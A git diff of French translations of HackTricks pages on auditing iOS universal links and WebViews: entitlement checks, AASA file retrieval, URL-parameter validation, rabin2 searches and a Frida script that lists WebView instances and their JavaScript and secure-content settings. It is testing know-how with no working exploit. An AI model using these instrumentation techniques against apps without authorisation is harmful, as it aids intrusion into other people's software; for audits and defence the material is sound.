Pour le pentester, ce fichier est très intéressant car il **révèle des chemins**. Il peut même révéler des chemins de versions qui n'ont pas encore été publiées.
|
||||
|
||||
## **Vérification de l'attribution des domaines associés**
|
||||
## **Vérification de l'entitlement des domaines associés**
|
||||
|
||||
Dans Xcode, allez à l'onglet **Capabilities** et recherchez **Associated Domains**. Vous pouvez également inspecter le fichier `.entitlements` en recherchant `com.apple.developer.associated-domains`. Chacun des domaines doit être préfixé par `applinks:`, comme `applinks:www.mywebsite.com`.
|
||||
Dans Xcode, allez dans l'onglet **Capacités** et recherchez **Domaines associés**. Vous pouvez également inspecter le fichier `.entitlements` à la recherche de `com.apple.developer.associated-domains`. Chacun des domaines doit être préfixé par `applinks:`, comme `applinks:www.monwebsite.com`.
|
||||
|
||||
Voici un exemple du fichier `.entitlements` de Telegram :
|
||||
```markup
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
<string>applinks:telegram.me</string>
|
||||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
<string>applinks:telegram.me</string>
|
||||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
Des informations plus détaillées peuvent être trouvées dans la [Documentation archivée des développeurs Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
Des informations plus détaillées sont disponibles dans la [Documentation Apple Developer archivée](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
|
||||
Si vous n'avez que l'application compilée, vous pouvez extraire les entitlements en suivant ce guide :
|
||||
Si vous disposez uniquement de l'application compilée, vous pouvez extraire les droits en suivant ce guide :
|
||||
|
||||
{% content-ref url="extracting-entitlements-from-compiled-application.md" %}
|
||||
[extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Récupération du fichier Apple App Site Association
|
||||
## **Récupération du fichier Apple App Site Association**
|
||||
|
||||
Essayez de récupérer le fichier `apple-app-site-association` depuis le serveur en utilisant les domaines associés que vous avez obtenus à partir de l'étape précédente. Ce fichier doit être accessible via HTTPS, sans redirection, à `https://<domain>/apple-app-site-association` ou `https://<domain>/.well-known/apple-app-site-association`.
|
||||
Essayez de récupérer le fichier `apple-app-site-association` depuis le serveur en utilisant les domaines associés que vous avez obtenus à l'étape précédente. Ce fichier doit être accessible via HTTPS, sans aucune redirection, à `https://<domain>/apple-app-site-association` ou `https://<domain>/.well-known/apple-app-site-association`.
|
||||
|
||||
Vous pouvez le récupérer vous-même avec votre navigateur ou utiliser le [validateur Apple App Site Association (AASA)](https://branch.io/resources/aasa-validator/).
|
||||
|
||||
## Vérification de la méthode de réception de lien
|
||||
## **Vérification de la méthode de réception de lien**
|
||||
|
||||
Afin de recevoir des liens et de les gérer de manière appropriée, le délégué de l'application doit implémenter [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Si vous avez le projet original, essayez de rechercher cette méthode.
|
||||
Pour recevoir des liens et les gérer de manière appropriée, le délégué de l'application doit implémenter [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Si vous avez le projet original, essayez de rechercher cette méthode.
|
||||
|
||||
Veuillez noter que si l'application utilise [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) pour ouvrir un lien universel vers le site web de l'application, le lien ne s'ouvrira pas dans l'application. Comme l'appel provient de l'application, il ne sera pas géré comme un lien universel.
|
||||
Veuillez noter que si l'application utilise [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) pour ouvrir un lien universel vers le site web de l'application, le lien ne s'ouvrira pas dans l'application. Comme l'appel provient de l'application, il ne sera pas traité comme un lien universel.
|
||||
|
||||
* Le schéma de `webpageURL` doit être HTTP ou HTTPS (tout autre schéma doit générer une exception). La propriété d'instance [`scheme`](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) de `URLComponents` / `NSURLComponents` peut être utilisée pour vérifier cela.
|
||||
* Le schéma de l'URL `webpageURL` doit être HTTP ou HTTPS (tout autre schéma devrait lever une exception). La [propriété d'instance `scheme`](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) de `URLComponents` / `NSURLComponents` peut être utilisée pour vérifier cela.
|
||||
|
||||
## Vérification de la méthode de gestion de données
|
||||
## **Vérification de la méthode de gestion des données**
|
||||
|
||||
Lorsque iOS ouvre une application en tant que résultat d'un lien universel, l'application reçoit un objet `NSUserActivity` avec une valeur `activityType` de `NSUserActivityTypeBrowsingWeb`. La propriété `webpageURL` de l'objet d'activité contient l'URL HTTP ou HTTPS que l'utilisateur accède. L'exemple suivant en Swift vérifie exactement cela avant d'ouvrir l'URL :
|
||||
Lorsque iOS ouvre une application à la suite d'un lien universel, l'application reçoit un objet `NSUserActivity` avec une valeur `activityType` de `NSUserActivityTypeBrowsingWeb`. La propriété `webpageURL` de l'objet d'activité contient l'URL HTTP ou HTTPS que l'utilisateur accède. L'exemple suivant en Swift vérifie exactement cela avant d'ouvrir l'URL :
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
// ...
|
||||
if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL {
|
||||
application.open(url, options: [:], completionHandler: nil)
|
||||
}
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
// ...
|
||||
if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL {
|
||||
application.open(url, options: [:], completionHandler: nil)
|
||||
}
|
||||
|
||||
return true
|
||||
return true
|
||||
}
|
||||
```
|
||||
De plus, n'oubliez pas que si l'URL contient des paramètres, ils ne doivent pas être considérés comme fiables avant d'être soigneusement nettoyés et validés (même s'ils proviennent d'un domaine de confiance). Par exemple, ils pourraient avoir été falsifiés par un attaquant ou pourraient inclure des données malformées. Si tel est le cas, l'ensemble de l'URL et donc la demande de lien universel doivent être rejetés.
|
||||
En outre, n'oubliez pas que si l'URL comprend des paramètres, ils ne doivent pas être considérés comme fiables avant d'être soigneusement assainis et validés (même lorsqu'ils proviennent d'un domaine de confiance). Par exemple, ils pourraient avoir été falsifiés par un attaquant ou pourraient inclure des données malformées. Si c'est le cas, l'URL entière et donc la demande de lien universel doivent être rejetées.
|
||||
|
||||
L'API `NSURLComponents` peut être utilisée pour analyser et manipuler les composants de l'URL. Cela peut également faire partie de la méthode `application:continueUserActivity:restorationHandler:` elle-même ou peut être appelé à partir d'une méthode distincte. L'exemple suivant démontre cela: [example](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935).
|
||||
L'API `NSURLComponents` peut être utilisée pour analyser et manipuler les composants de l'URL. Cela peut également faire partie de la méthode `application:continueUserActivity:restorationHandler:` elle-même ou peut se produire dans une méthode séparée appelée à partir de celle-ci. L'[exemple](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935) suivant illustre ceci :
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([Any]?) -> Void) -> Bool {
|
||||
guard userActivity.activityType == NSUserActivityTypeBrowsingWeb,
|
||||
let incomingURL = userActivity.webpageURL,
|
||||
let components = NSURLComponents(url: incomingURL, resolvingAgainstBaseURL: true),
|
||||
let path = components.path,
|
||||
let params = components.queryItems else {
|
||||
return false
|
||||
}
|
||||
continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([Any]?) -> Void) -> Bool {
|
||||
guard userActivity.activityType == NSUserActivityTypeBrowsingWeb,
|
||||
let incomingURL = userActivity.webpageURL,
|
||||
let components = NSURLComponents(url: incomingURL, resolvingAgainstBaseURL: true),
|
||||
let path = components.path,
|
||||
let params = components.queryItems else {
|
||||
return false
|
||||
}
|
||||
|
||||
if let albumName = params.first(where: { $0.name == "albumname" })?.value,
|
||||
let photoIndex = params.first(where: { $0.name == "index" })?.value {
|
||||
// Interact with album name and photo index
|
||||
if let albumName = params.first(where: { $0.name == "albumname" })?.value,
|
||||
let photoIndex = params.first(where: { $0.name == "index" })?.value {
|
||||
// Interact with album name and photo index
|
||||
|
||||
return true
|
||||
return true
|
||||
|
||||
} else {
|
||||
// Handle when album and/or album name or photo index missing
|
||||
} else {
|
||||
// Handle when album and/or album name or photo index missing
|
||||
|
||||
return false
|
||||
}
|
||||
return false
|
||||
}
|
||||
}
|
||||
```
|
||||
# Références
|
||||
|
@ -106,16 +104,14 @@ func application(_ application: UIApplication,
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,41 @@
|
|||
Les WebViews sont des composants de navigateur intégrés aux applications pour afficher du contenu web interactif. Ils peuvent être utilisés pour intégrer directement du contenu web dans l'interface utilisateur d'une application. Les WebViews iOS prennent en charge l'exécution de JavaScript par défaut, de sorte que l'injection de script et les attaques de script intersites peuvent les affecter.
|
||||
# iOS WebViews
|
||||
|
||||
* **UIWebView** : UIWebView est obsolète à partir d'iOS 12 et ne doit pas être utilisé. Il ne devrait pas être utilisé. JavaScript ne peut pas être désactivé.
|
||||
* **WKWebView** : c'est le choix approprié pour étendre la fonctionnalité de l'application, contrôler le contenu affiché.
|
||||
* JavaScript est activé par défaut, mais grâce à la propriété `javaScriptEnabled` de `WKWebView`, il peut être complètement désactivé, empêchant toutes les failles d'injection de script.
|
||||
* La propriété `JavaScriptCanOpenWindowsAutomatically` peut être utilisée pour empêcher JavaScript d'ouvrir de nouvelles fenêtres, telles que des pop-ups.
|
||||
* La propriété `hasOnlySecureContent` peut être utilisée pour vérifier que les ressources chargées par le WebView sont récupérées via des connexions chiffrées.
|
||||
* `WKWebView` implémente un rendu hors processus, de sorte que les bugs de corruption de mémoire n'affecteront pas le processus principal de l'application.
|
||||
* **SFSafariViewController** : il doit être utilisé pour fournir une expérience de visualisation web généralisée. Ces WebViews peuvent être facilement repérés car ils ont une disposition caractéristique qui comprend les éléments suivants :
|
||||
<details>
|
||||
|
||||
* Un champ d'adresse en lecture seule avec un indicateur de sécurité.
|
||||
* Un bouton d'action ("Partager").
|
||||
* Un bouton "Terminé", des boutons de navigation avant et arrière, et un bouton "Safari" pour ouvrir la page directement dans Safari.
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* JavaScript ne peut pas être désactivé dans `SFSafariViewController` et c'est l'une des raisons pour lesquelles l'utilisation de `WKWebView` est recommandée lorsque l'objectif est d'étendre l'interface utilisateur de l'application.
|
||||
* `SFSafariViewController` partage également les cookies et autres données de site Web avec Safari.
|
||||
* L'activité et l'interaction de l'utilisateur avec un `SFSafariViewController` ne sont pas visibles pour l'application, qui ne peut pas accéder aux données de saisie automatique, à l'historique de navigation ou aux données de site Web.
|
||||
* Selon les directives de révision de l'App Store, les `SFSafariViewController` ne peuvent pas être masqués ou obscurcis par d'autres vues ou couches.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Types de WebViews
|
||||
|
||||
Les WebViews sont des composants de navigateur intégrés dans l'application pour afficher du **contenu web** interactif. Ils peuvent être utilisés pour intégrer directement du contenu web dans l'interface utilisateur d'une application. Les WebViews iOS **supportent** l'exécution de **JavaScript** **par défaut**, donc l'injection de scripts et les attaques de Cross-Site Scripting peuvent les affecter.
|
||||
|
||||
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView est obsolète à partir d'iOS 12 et ne devrait pas être utilisé. **JavaScript ne peut pas être désactivé**.
|
||||
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview) : C'est le choix approprié pour étendre les fonctionnalités de l'application, contrôler le contenu affiché.
|
||||
* **JavaScript** est activé par défaut mais grâce à la propriété **`javaScriptEnabled`** de `WKWebView`, il **peut être complètement désactivé**, empêchant tous les défauts d'injection de scripts.
|
||||
* La propriété **`JavaScriptCanOpenWindowsAutomatically`** peut être utilisée pour **empêcher** JavaScript d'**ouvrir de nouvelles fenêtres**, telles que des pop-ups.
|
||||
* La propriété **`hasOnlySecureContent`** peut être utilisée pour vérifier que les ressources chargées par le WebView sont récupérées via des connexions chiffrées.
|
||||
* `WKWebView` implémente un rendu hors processus, donc **les bugs de corruption de mémoire n'affecteront pas** le processus principal de l'application.
|
||||
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** Il devrait être utilisé pour fournir une **expérience de visualisation web généralisée**. Ces WebViews peuvent être facilement identifiés car ils ont une disposition caractéristique qui comprend les éléments suivants :
|
||||
|
||||
* Un champ d'adresse en lecture seule avec un indicateur de sécurité.
|
||||
* Un bouton d'**Action ("Partager")**.
|
||||
* Un **bouton Terminé**, des boutons de navigation arrière et avant, et un bouton "Safari" pour ouvrir la page directement dans Safari.
|
||||
|
||||
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
|
||||
|
||||
* **JavaScript ne peut pas être désactivé** dans `SFSafariViewController` et c'est l'une des raisons pour lesquelles l'utilisation de `WKWebView` est recommandée lorsque l'objectif est d'étendre l'interface utilisateur de l'application.
|
||||
* `SFSafariViewController` **partage également les cookies** et autres données de sites web avec **Safari**.
|
||||
* L'activité et l'interaction de l'utilisateur avec un `SFSafariViewController` sont **invisibles pour l'application**, qui ne peut pas accéder aux données de remplissage automatique, à l'historique de navigation ou aux données des sites web.
|
||||
* Selon les directives de révision de l'App Store, les `SFSafariViewController` **ne peuvent pas être cachés ou obscurcis par d'autres vues ou couches**.
|
||||
|
||||
## Découverte de la configuration des WebViews
|
||||
|
||||
|
@ -31,12 +49,6 @@ $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|||
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
|
||||
```
|
||||
**WKWebView**
|
||||
|
||||
WKWebView est une vue Web introduite dans iOS 8 qui remplace UIWebView. Elle est plus rapide et plus efficace que UIWebView car elle utilise le moteur de rendu WebKit. Elle prend également en charge les fonctionnalités HTML5 et JavaScript modernes.
|
||||
|
||||
Pour tester une application iOS qui utilise WKWebView, vous pouvez utiliser des outils tels que Burp Suite ou OWASP ZAP pour intercepter et modifier le trafic HTTP/S. Vous pouvez également utiliser des outils tels que Frida ou Cycript pour injecter du code JavaScript dans l'application et manipuler la vue Web.
|
||||
|
||||
Il est important de noter que les applications iOS utilisant WKWebView peuvent être vulnérables à des attaques de type XSS (Cross-Site Scripting) si elles ne sont pas correctement sécurisées. Les développeurs doivent s'assurer que toutes les entrées utilisateur sont correctement validées et échappées avant d'être affichées dans la vue Web.
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
|
||||
|
@ -44,7 +56,7 @@ $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|||
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
|
||||
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
|
||||
```
|
||||
Alternativement, vous pouvez également rechercher les méthodes connues de ces classes WebView. Par exemple, recherchez la méthode utilisée pour initialiser un WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
|
||||
Vous pouvez également rechercher des méthodes connues de ces classes WebView. Par exemple, recherchez la méthode utilisée pour initialiser un WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)) :
|
||||
```bash
|
||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
||||
|
@ -54,78 +66,76 @@ $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|||
```
|
||||
#### Test de la configuration JavaScript
|
||||
|
||||
Pour les `WKWebView`, il est recommandé de désactiver JavaScript sauf s'il est explicitement requis. Pour vérifier que JavaScript a été correctement désactivé, recherchez les utilisations de `WKPreferences` dans le projet et assurez-vous que la propriété [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) est définie sur `false`:
|
||||
Pour les `WKWebView`, en tant que meilleure pratique, JavaScript devrait être désactivé à moins qu'il ne soit explicitement nécessaire. Pour vérifier que JavaScript a été correctement désactivé, recherchez dans le projet les utilisations de `WKPreferences` et assurez-vous que la propriété [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) est définie sur `false` :
|
||||
```
|
||||
let webPreferences = WKPreferences()
|
||||
webPreferences.javaScriptEnabled = false
|
||||
```
|
||||
Si vous avez seulement le binaire compilé, vous pouvez chercher cela dedans :
|
||||
Si vous disposez uniquement du binaire compilé, vous pouvez rechercher ceci dedans :
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
|
||||
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
|
||||
```
|
||||
#### Test de OnlySecureContent
|
||||
#### Test du OnlySecureContent
|
||||
|
||||
Contrairement aux `UIWebView`, lors de l'utilisation de `WKWebView`, il est possible de détecter [du contenu mixte](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (contenu HTTP chargé à partir d'une page HTTPS). En utilisant la méthode [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent), il est possible de vérifier si toutes les ressources de la page ont été chargées via des connexions sécurisées et cryptées.\
|
||||
Contrairement aux `UIWebView`, lors de l'utilisation des `WKWebView`, il est possible de détecter le [contenu mixte](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (contenu HTTP chargé depuis une page HTTPS). En utilisant la méthode [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent), on peut vérifier si toutes les ressources de la page ont été chargées via des connexions sécurisées cryptées.\
|
||||
Dans le binaire compilé :
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
Vous pouvez également rechercher dans le code source ou les chaînes la chaîne "http://". Cependant, cela ne signifie pas nécessairement qu'il y a un problème de contenu mixte. En savoir plus sur le contenu mixte dans les [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
|
||||
Vous pouvez également rechercher dans le code source ou les chaînes de caractères la chaîne "http://". Cependant, cela ne signifie pas nécessairement qu'il y a un problème de contenu mixte. Apprenez-en plus sur le contenu mixte dans les [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
|
||||
|
||||
### Analyse dynamique
|
||||
### Analyse Dynamique
|
||||
|
||||
Il est possible d'inspecter le tas via `ObjC.choose()` pour trouver des instances des différents types de WebViews et également rechercher les propriétés `javaScriptEnabled` et `hasonlysecurecontent` :
|
||||
|
||||
{% code title="webviews_inspector.js" %}
|
||||
```javascript
|
||||
ObjC.choose(ObjC.classes['UIWebView'], {
|
||||
onMatch: function (ui) {
|
||||
console.log('onMatch: ', ui);
|
||||
console.log('URL: ', ui.request().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for UIWebView!');
|
||||
}
|
||||
onMatch: function (ui) {
|
||||
console.log('onMatch: ', ui);
|
||||
console.log('URL: ', ui.request().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for UIWebView!');
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
||||
onMatch: function (sf) {
|
||||
console.log('onMatch: ', sf);
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for SFSafariViewController!');
|
||||
}
|
||||
onMatch: function (sf) {
|
||||
console.log('onMatch: ', sf);
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for SFSafariViewController!');
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
||||
}
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
}
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
}
|
||||
});
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Chargez-le avec:
|
||||
Chargez-le avec :
|
||||
```bash
|
||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
|
||||
|
@ -133,54 +143,54 @@ onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1
|
|||
|
||||
hasOnlySecureContent: false
|
||||
```
|
||||
## Gestion des protocoles WebView
|
||||
## Gestion du protocole WebView
|
||||
|
||||
Plusieurs schémas par défaut sont disponibles et sont interprétés dans une WebView sur iOS, par exemple :
|
||||
Plusieurs schémas par défaut sont disponibles et interprétés dans un WebView sur iOS, par exemple :
|
||||
|
||||
* http(s)://
|
||||
* file://
|
||||
* tel://
|
||||
|
||||
Les WebViews peuvent charger du contenu distant à partir d'un point de terminaison, mais elles peuvent également charger du contenu local à partir du répertoire de données de l'application. Si le contenu local est chargé, l'utilisateur ne devrait pas être en mesure d'influencer le nom de fichier ou le chemin utilisé pour charger le fichier, et les utilisateurs ne devraient pas être en mesure de modifier le fichier chargé.
|
||||
Les WebViews peuvent charger du contenu distant depuis un point de terminaison, mais ils peuvent également charger du contenu local depuis le répertoire de données de l'application. Si le contenu local est chargé, l'utilisateur ne devrait pas pouvoir influencer le nom de fichier ou le chemin utilisé pour charger le fichier, et les utilisateurs ne devraient pas pouvoir éditer le fichier chargé.
|
||||
|
||||
### Chargement de contenu WebView
|
||||
|
||||
* **UIWebView** : Il peut utiliser des méthodes obsolètes [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) pour charger du contenu.
|
||||
* **WKWebView** : Il peut utiliser les méthodes [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) ou [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) pour charger des fichiers HTML locaux et `loadRequest:` pour le contenu web. Typiquement, les fichiers locaux sont chargés en combinaison avec des méthodes incluant, entre autres : [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) ou [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). De plus, vous devriez également vérifier si l'application utilise la méthode [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Son premier paramètre est `URL` et contient l'URL à charger dans la WebView, son deuxième paramètre `allowingReadAccessToURL` peut contenir un seul fichier ou un répertoire. S'il contient un seul fichier, ce fichier sera disponible pour la WebView. Cependant, s'il contient un répertoire, tous les fichiers de ce **répertoire seront disponibles pour la WebView**. Par conséquent, il vaut la peine d'inspecter cela et, dans le cas où il s'agit d'un répertoire, de vérifier qu'aucune donnée sensible ne peut être trouvée à l'intérieur.
|
||||
